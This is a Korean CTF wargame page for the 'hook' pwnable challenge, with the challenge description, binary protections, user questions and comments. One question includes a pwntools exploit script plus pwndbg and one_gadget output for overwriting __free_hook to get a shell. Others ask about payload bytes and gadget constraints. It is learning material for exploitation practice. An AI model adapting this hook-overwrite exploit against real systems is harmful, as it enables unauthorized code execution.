LEVEL 1

hook

pwnable
  • 문제 정보
  • 풀이 118
  • 난이도 투표 71
  • 질문 15
  • 최근 풀이자 1442
  • 댓글 60

문제 설명

Desciption

이 문제는 작동하고 있는 서비스(hook)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 _hook Overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment
Ubuntu 16.04
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
Reference

_hook Overwrite

Challenge Updates

2023.04.27: libc 파일이 변경되었습니다.
2023.04.27: Dockerfile이 제공됩니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
JSec
Dreamhack Beta CTF 1위
출제된 지 15시간 만에 풀이 완료!

난이도 투표 71

질문 15

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
flag가 안나오네요.
hook 워게임 과제하는 중인데 flag가 안나오는데 잘못된 부분이 있을까요? 직접 offset 구해서 hook overwrite를 하였는데 flag가 도출이 안됩니다. 도와주세요! 코드 from pwn import* p = remote("host1.dreamhack.games", 9373) e = ELF("./hook") libc = ELF("./libc.so.6") p.recvuntil("stdout: ") libc_stdout = int(p.recvuntil("\n").strip("\n"),16) libc_base = libc_stdout - 0x205760 malloc_hook = libc_base + 0x204c30 free_hook = libc_base + 0x2068e8 oneshot_gadget = libc_base + 0x4526a payload = p64(free_hook) + p64(oneshot_gadget) p.sendlineafter("Size: ", "400") p.sendlineafter("Data: ", payload) p.interactive() offset 구하는법 pwndbg> p &mallochook $1 = (void ()(sizet, const void )) 0x7ffff7dcdc30 <mallochook> pwndbg> p &freehook $2 = (void ()(void , const void )) 0x7ffff7dcf8e8 <freehook> pwndbg> vmmap libc LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7ffff79e2000 0x7ffff7bc9000 r-xp 1e7000 0 /lib/x8664-linux-gnu/libc-2.27.so 0x7ffff7bc9000 0x7ffff7dc9000 ---p 200000 1e7000 /lib/x8664-linux-gnu/libc-2.27.so 0x7ffff7dc9000 0x7ffff7dcd000 r--p 4000 1e7000 /lib/x8664-linux-gnu/libc-2.27.so 0x7ffff7dcd000 0x7ffff7dcf000 rw-p 2000 1eb000 /lib/x8664-linux-gnu/libc-2.27.so pwndbg> p/x 0x7ffff7dcdc30 - 0x7ffff7bc9000 $3 = 0x204c30 pwndbg> p/x 0x7ffff7dcf8e8 - 0x7ffff7bc9000 $4 = 0x2068e8 pwndbg> quit hyunmin@WMRRD11-NC102M3:~/hyunmin/hook$ onegadget libc.so.6 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL* pwndbg> p stdout $1 = (struct IO_FILE *) 0x7ffff7dce760 <_IO_2_1_stdout> pwndbg> p/x 0x7ffff7dce760 - 0x7ffff7bc9000 $2 = 0x205760
김현민_cto
hook wargame 질문
안녕하세요. 해당 워게임을 풀이하던 중 2가지 궁금증이 생겨서 이렇게 질문을 남깁니다. free(ptr); free(ptr); system("/bin/sh"); 에서, free(ptr);이 2번 실행되는 대신에 __free_hook에 원가젯을 대입해서 바로 문제를 풀이하려고 했는데, 아래의 원가젯 중 첫번째 원가젯을 __free_hook이 가리키도록 했을 때만 익스플로잇이 가능했습니다. image.png image.png (해당 조건은 free가 실행되기 전 아래의 상태입니다. read(0, ptr, size)에서 제대로 된 주소를 넣어주지 않아서 segfault가 난건지 더이상 진행이 안되서 여기서 검사했습니다. 혹시 여기서 segfault가 안나게 gdb에서 입력을 해주는 팁이 있다면 알려주시면 감사드리겠습니다 ㅠㅠ) image.png 근데 여기서 셋다 조건을 만족하지 않는데, 첫번째 원가젯만 p.send(p64(free_hook) + p64(og))을 통해 전달했을 때 익스플로잇이 되는 이유가 무엇인지 궁금합니다. 그리고 사실 og 대신에 libc의 system, write, read 등 아무 함수나 넣어줘도 인자를 따로 설정해주지 않아도 아래의 system("/bin/sh");이 수행되는데 그 이유도 궁금합니다.. 풀이를 보면서 위 방법이 아닌 바이너리의 system("/bin/sh") 이 수행되도록 free_hook에 대입을 해주라는 것을 통해 아래와 같이 og 대신 0x400a11을 전달해주어서 익스플로잇을 성공하긴 했습니다. image.png 근데 여기서, 0x400a11은 PIE가 적용되지 않아서 고정된 가상 주소이기 때문에 전달이 가능하다는 것으로 유추하였는데 PIE가 적용되지 않은 경우 코드 영역의 베이스 주소를 구해서 0x400a11 대신 존재하는 가상 주소 오프셋을 더해줘야 하는건가요? PIE가 적용되어서 gdb에 나오는 가상 주소가 오프셋이더라도, 그걸 그대로 0x400a11 처럼 전달해주면 알아서 해당 코드가 존재하는 영역을 찾아가지 못하는 이유는 무엇인가요..?
ro
문제는 풀었지만 이상한 것 같아서 질문합니다.
문제 푸는 형식은 libc_base를 구하고 free_hook 주소를 계산 2-1. one_gadget을 이용하여 가젯을 사용하거나 2-2. main에 있는 system("/bin/sh") 호출하는 주소를 free_hook 포인터 변수에 담는다. 이런 식으로 풀었는데 문제는 페이로드 작성 후 send할 때 값이 원하는 의도대로 전달되지 않았습니다. payload = p64(free_hook) + p64(main_system) #혹은 one_gadget 처음에 위와 같이 페이로드를 작성하였습니다. free_hoox = 0x7fe5716318e8 main = 0x400a11 이라고 했을 때 malloc(size)로 할당받은 힙 영역에는 '\xe8\x18cq\xe5\x7f\x00\x00\x11\n@\x00\x00\x00\x00\x00' 이 들어가길 원했는데 맨 앞에 있는 '\xe8'이 없어지고 한 칸씩 앞으로 당겨진 값이 들어가졌습니다. 즉 '\x18cq\xe5\x7f\x00\x00\x11\n@\x00\x00\x00\x00\x00'이 들어가졌습니다. 그래서 원래 의도는 0x7fe5716318e8 주소에 0x400a11 값을 넣는거였는데 디버깅을 해보니 0x1100007fe5716318 주소를 참조하더라구요. 그래서 에러가 납니다. 그래서 일단은 페이로드 맨 앞에 '\x00'을 붙이니 성공하긴 하는데 왜 이런 일이 발생하는 지 궁금합니다. 아래는 attack.py 에서 제가 send를 이용해서 데이터 보낸 형식입니다. p.send(str(400)) p.send(payload) p.interactive() 질문 처음에는 스스로 풀었는데 계속 안되길래 다른 라이트업을 봐도 다들 저랑 비슷하게 작성했는데 왜 저만 이런 결과가 나오는 걸까요? 추가로 one_gadget이 여러 개 있던데, 어떤 건 되고 어떤 건 안됩니다. 예를 들어 로컬에서는 3번째 one_gadget_offset만 적용되고 원격에서는 2번째 one_gadget_offset만 적용이 됩니다. 그 이유를 알 수 있을까요?
avatar IRev

최근 풀이자 1442

위니아정수기
대표 업적 없음
Ehwon
대표 업적 없음
avatar
d3vh4cks
대표 업적 없음
Turt1e94
대표 업적 없음
neworld
대표 업적 없음
닉네미
대표 업적 없음
peregr1nus
대표 업적 없음
kuku_727
대표 업적 없음
gosan
대표 업적 없음
Yabttuck
대표 업적 없음

댓글 60

풀긴했는데... 제가 메모리 저장방식을 잘 모른다는 걸 깨닫고 가네요
Ma_Mu0228
대표 업적 없음
포인터 코드를 완벽히 이해하고, 이전까지 배운 강의 내용들 사용하시면 풀 수 있습니다.
avatar
스카이넷
워게임 고인물
ez
yuhell
시스템 해킹 입문
ez
avatar
santa6
대표 업적 없음
두 번 만에 풀었다!!
catpwn
대표 업적 없음
*(long *)* ptr = *(ptr+1) 이게 뭔지 몰라서 오래 걸림.....
avatar
KnightChaser
공부벌레
이 문제는 여러분이 C언어 포인터를 얼마나 성실하고 제대로 배웠는지 뜨겁고 사랑스럽게 테스트 해 줄 겁니다.
avatar
나는재영
대표 업적 없음
avatar
Rosieblue
워게임 고인물
포인터 막 있는 그 문장?만 해석하면 풀 수 있슴당! 포인터 헷갈리면 그림그려서 하면 좀 이해가 쉬워용ㅎㅎ 복습하는 기회였습니다 ㅎㅎ
avatar
wonu
대표 업적 없음
gg